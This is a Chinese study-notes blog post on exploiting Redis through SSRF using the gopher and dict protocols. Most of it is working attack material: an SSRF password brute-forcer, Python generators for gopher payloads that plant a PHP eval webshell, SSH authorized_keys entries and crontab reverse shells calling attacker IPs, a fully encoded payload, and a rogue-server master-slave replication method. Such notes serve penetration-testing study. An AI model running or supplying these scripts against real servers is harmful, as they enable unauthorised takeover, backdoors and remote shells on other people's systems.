zoukankan      html  css  js  c++  java
  • SSRF + Redis 利用方式学习笔记

    参考文章

    浅析Redis中SSRF的利用
    Redis结合SSRF绕过disable_function getshell

    前言

    常见的关于 Redis 的安全问题有两个

    弱口令

    木头师傅的弱口令爆破脚本(结合 SSRF):

    import requests
    
    target = "http://x.x.x.x:6666/index.php?url="  # 请输入目标url
    rhost = "127.0.0.1"   
    rport = "6379"
    
    with open("passwords.txt","r+") as file:
        passwds = file.readlines()
        for passwd in passwds:
            passwd = passwd.strip("
    ")
            len_pass = len(passwd)
            payload = r"gopher://" + rhost + ":" + rport + "/_%252A2%250d%250a%25244%250d%250aAUTH%250d%250a%2524"+str(len_pass)+r"%250d%250a"+passwd+r"%250D%250A%252A1%250D%250A"
            url = target+str(payload)
            text = requests.get(url).text
            if "OK" in text:
                print("[+] 爆破成功 密码为: " + passwd)
                print(text + payload)
                break
    
    

    未授权访问

    redis.conf 的配置文件中,有两个关键的配置会造成 Redis 未授权访问

    • bind x.x.x.x
      配置允许登陆 redis 服务的 ip,默认是 127.0.0.1(本机登录)
      如果设置成 0.0.0.0 就相当于将redis暴露在公网中,公网中的机器都可以进行登陆
    • protected-mode
      功能是自 redis 3.2 之后设置的保护模式,默认为 yes,其作用就是如果 redis 服务没有设置密码并且没有配置 bind 则会只允许 redis 服务本机进行连接

    面试的时候会考!!!

    redis 安装启动

    • 下载安装包:http://download.redis.io/releases/
    • 解压 tar -zxvf redis-x.x.x.tar.gz
    • 进入解压后的文件夹,执行 make 命令
    • 修改 redis.conf 文件
    • 进入 src 目录,执行 ./redis-server ../redis.conf,启动 Redis

    前置知识

    为了进一步了解 SSRF + Redis 的利用方式,首先要了解利用中的常见应用/网络协议

    RESP 协议

    RESP 协议是 redis 服务之间数据传输的通信协议,redis 客户端和 redis 服务端之间通信会采取 RESP 协议
    因此我们后续构造 payload 时也需要转换成 RESP 协议的格式

    RESP 协议格式例如:

    *1
    $8
    flushall
    *3
    $3
    set
    $1
    1
    $64
    
    
    
    */1 * * * * bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
    
    
    
    
    
    
    
    *4
    $6
    config
    $3
    set
    $3
    dir
    $16
    /var/spool/cron/
    *4
    $6
    config
    $3
    set
    $10
    dbfilename
    $4
    root
    *1
    $4
    save
    quit
    

    其中

    • *n代表着一条命令的开始,n 表示该条命令由 n 个字符串组成
    • $n代表着该字符串有 n 个字符

    执行成功后服务器会返回 +OK,这个是 redis 服务器对 redis 客户端的响应

    gopher:// 协议

    当探测内网或执行命令时需要发送 POST 请求,我们可以利用 gopher 协议
    协议格式:gopher://<host>:<port>/<gopher-path>,这里的gopher-path就相当于是发送的请求数据包

    特性:当使用 gopher 协议时,gopher-path的第一个字符会被吞噬,所以我们在发送请求时要注意这一点

    注意点:CRLF(换行) 需要双重 URL 编码,即%250d%250a

    dict:// 协议

    dict 协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,能用来探测端口的指纹信息
    协议格式:dict://<host>:<port>/<dict-path>

    一般为:dict://<host>:<port>/info 探测端口应用信息
    执行命令:dict://<host>:<port>/命令:参数 冒号相当于空格,在 redis 利用中,只能利用未授权访问的 redis

    与 gopher 不同的是,使用 dict 协议并不会吞噬第一个字符,并且会多加一个 quit 字符串,自动添加 CRLF 换行

    其他的与 gopher 没有太大差别

    在 redis 未授权访问中,当传输命令时,dict 协议的话要一条一条的执行,而 gopher 协议执行一条命令就行了,所以一般 dict 协议只是当个备胎用
    而且在传输命令时,若命令中有空格,则该命令需要做一次十六进制编码

    大佬的脚本:

    cmd = "
    
    * * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
    
    "
    cmd_encoder = ""
    for single_char in cmd:
        cmd_encoder += hex(ord(single_char).replace("0xa","0x0a").replace("0x","\\x"))
    print(cmd_encoder)
    

    所以执行的命令为,当在浏览器中执行时,需要再进行一次 url 编码

    set 1 "
    
    
    
    * * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
    
    
    
    "
    对应
    dict://172.2.0.2:6379/set:1:"十六进制编码"
    
    config set dir /etc/
    对应:
    dict://172.2.0.2:6379/config:set:dir:/etc/
    
    config set dbfilename crontab
    对应:
    dict://172.2.0.2:6379/config:set:dbfilename:crontab
    
    save
    对应:
    dict://172.2.0.2:6379/save
    

    大佬的一键式 ssrf + redis + dict 利用脚本

    #!/usr/bin/python
    # -*- coding: UTF-8 -*-
    import urllib2,urllib,binascii
    url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="  # 存在 ssrf 的 url
    target = "dict://192.168.0.119:6379/"  # redis 服务器地址
    cmds = ['set:mars:\\"\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\\"',  # shell接收地址与端口号
           "config:set:dir:/etc/",
           "config:set:dbfilename:crontab",
           "bgsave"]
    
    for cmd in cmds:
        cmd_encoder = ""
        for single_char in cmd:
            # 先转为ASCII
            cmd_encoder += hex(ord(single_char)).replace("0x","")
        cmd_encoder = binascii.a2b_hex(cmd_encoder)
        cmd_encoder = urllib.quote(cmd_encoder,'utf-8')
    
        payload = url + target + cmd_encoder
        print payload
        request = urllib2.Request(payload)
        response = urllib2.urlopen(request).read()
    

    拿 shell 的方法

    绝对路径写 shell

    条件:

    1. redis 有 root
    2. 知道网站绝对路径

    未授权访问直接写

    1. 连接 redis,./redis-cli -h ip地址
    2. 写 shell
      执行如下命令
    flushall
    set 1 '<?php @eval($_REQUEST["1ndex"]); ?>'
    config set dir '/var/www/html'
    config set dbfilename test.php
    save
    


    查看被攻击机:

    可以看到,shell 已被成功写入

    结合 SSRF

    由于此时是后端服务器向 redis 服务器发起请求,因此发送的内容需要转换成 RESP 协议的格式,通过结合 gopher 协议达到写入 shell 的目的
    转换脚本:

    #!/usr/bin/env python
    # -*-coding:utf-8-*-
    
    import urllib
    protocol="gopher://"  # 使用的协议 
    ip="192.168.230.138"
    port="6379"   # 目标redis的端口号 
    shell="
    
    <?php phpinfo();?>
    
    "
    filename="shell.php"   # shell的名字 
    path="/var"      # 写入的路径
    passwd=""   # 如果有密码 则填入
    # 我们的恶意命令 
    cmd=["flushall",
         "set 1 {}".format(shell.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
        CRLF="
    "
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.quote(redis_format(x))
        print payload
        print urllib.quote("二次url编码后的结果:
    " + payload)
    

    得到 payload:

    gopher://192.168.230.138:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2439%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_REQUEST%5B%271ndex%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2410%0D%0Ashell2.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
    

    结合 SSRF 时,需要再次进行 URL 编码,也就是二次 url 编码后的结果

    gopher%3A//192.168.230.138%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252439%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_REQUEST%255B%25271ndex%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%252410%250D%250Ashell2.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
    

    原因: payload 传到后端服务时会进行一次解码,后续利用 ssrf 发起请求时也会进行一次解码,因此总共就是两次 URL 编码

    redis 写入 ssh 公钥

    条件:

    1. redis 有 root

    原理:
    通过在目标机器上写入 ssh 公钥,然后便可以通过 ssh 免密码登录目标机器

    生成 ssh 公/私钥

    ssh-keygen -t rsa,一直回车即可

    可以在/home/kali/.ssh/下看到生成的结果,分别为私钥和公钥

    未授权访问直接写

    flushall
    set 1 'id_rsa.pub 里的内容'
    config set dir '/root/.ssh/'
    config set dbfilename authorized_keys
    save
    

    然后通过ssh -i /home.kali/.ssh/id_rsa root@192.168.230.138 即可免密登录远程机器

    结合 SSRF

    将内容转换为 RESP 协议的格式

    import urllib
    protocol="gopher://"
    ip="192.168.230.138"
    port="6379"
    sshpublic_key = "
    
    id_rsa.pub 里的内容
    
    "
    filename="authorized_keys"
    path="/root/.ssh/"
    passwd=""
    cmd=["flushall",
         "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
        CRLF="
    "
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.quote(redis_format(x))
        print payload
        print urllib.quote("二次url编码后的结果:
    " + payload)
    

    crontab 定时任务反弹 shell

    条件:

    1. redis 有 root
    2. centos
      由于 redis 输出的文件都是 644 权限,但是 ubuntu 中的定时任务一定要 600 权限才能实现所以这个方法只适用于 centos

    未授权访问直接写

    flushall
    set 1 "
    
    
    
    * * * * * root bash -i >& /dev/tcp/192.168.230.132/1234 0>&1
    
    
    
    "
    config set dir '/var/spool/cron'
    config set dbfilename root
    save
    

    结合 SSRF

    import urllib
    protocol="gopher://"
    ip="192.168.230.138"
    port="6379"
    reverse_ip="192.168.163.132"
    reverse_port="2333"
    cron="
    
    
    
    */1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1
    
    
    
    "%(reverse_ip,reverse_port)
    filename="root"
    path="/var/spool/cron"
    
    passwd=""
    cmd=["flushall",
         "set 1 {}".format(cron.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
         "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
        CRLF="
    "
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.quote(redis_format(x))
        print payload
        print urllib.quote("二次url编码后的结果:
    " + payload)
    

    Redis 主从复制 getshell

    条件:

    1. redis 4.x/5.x

    简介:
    redis 主从模式,简言之就是一台 redis 服务器作为主设备,其余 redis 服务器作为从设备。并且主从设备中的所有数据都是相同的,其中主设备负责写数据,从设备负责读数据用以缓解单个服务器压力。
    通过 redis 未授权访问,可以设置目标机器上的 redis 作为从设备,在本地另起一个 redis 作为主设备
    在 Reids 4.x 之后,引入外部拓展文件来实现新的 redis 命令,构造恶意 .so 文件。在两个 redis 实例设置主从模式的时候,redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载恶意 .so文件,即可执行命令。

    步骤:
    下载exp,执行python3 redis-rogue-server.py --rhost=x.x.x.x --lhost=y.y.y.y --exp=exp.so即可

    其他复现

  • 相关阅读:
    C++STL中的unique函数解析
    STL中erase()的用法
    刷题技巧——简易哈希表的实现
    经典面试题目——找到第n个丑数(参考《剑指offer(第二版)》面试题49)
    C++中sort函数小结
    谈谈交叉验证法(个人小结)
    数字序列中某一位数字(《剑指offer》面试题44)
    求1~n整数中1出现的次数(《剑指offer》面试题43)
    2018年美团春招(第二批)题解
    C/C++中字符串和数字互转小结
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/14456190.html
Copyright © 2011-2022 走看看